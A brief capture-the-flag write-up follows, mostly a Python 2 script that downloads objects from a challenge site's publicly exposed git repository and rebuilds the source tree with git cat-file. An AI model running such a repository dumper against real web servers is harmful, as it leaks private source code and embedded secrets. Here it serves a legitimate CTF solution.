securimag's new year challenge, oversight from the author the git repo was publicly exposed so dirty script to rebuild the trees and get the sources

doit.py

import os
import subprocess



def run_cmd(s):
    return subprocess.check_output(s.split())



def get_hash(s):
    return s.split()[2]

def get_type(s):
    return s.split()[1]

def get_name(s):
    return s.split()[3]

def get_all(s):
    return (get_type(s), get_name(s), get_hash(s))


def dl_obj(s):
    os.system("wget https://securimag2017.alpacas.cloud/gitrepo/objects/%s/%s" % (s[:2], s[2:]))
    os.system("mkdir %s" % s[:2])
    os.system("mv %s %s/" % (s[2:], s[:2]))



def treat_tree(top, path):
    dl_obj(top)
    top = run_cmd("git cat-file -p %s" % top)
    for s in top.split("\n"):
        if s:
            
            typ, name, hsh = get_all(s)
            print "type %s name %s hash %s" % (typ, name, hsh)

            if typ == "blob":
                dl_obj(hsh)
                with open(path + name, "w+") as f:
                    f.write(run_cmd("git cat-file -p %s" % hsh))
            elif typ == "tree":
                os.mkdir(path + name)
                treat_tree(hsh, path + name + "/")

treat_tree("48f278388060c24cdb646eabedb38315aaac2b3e", "src/")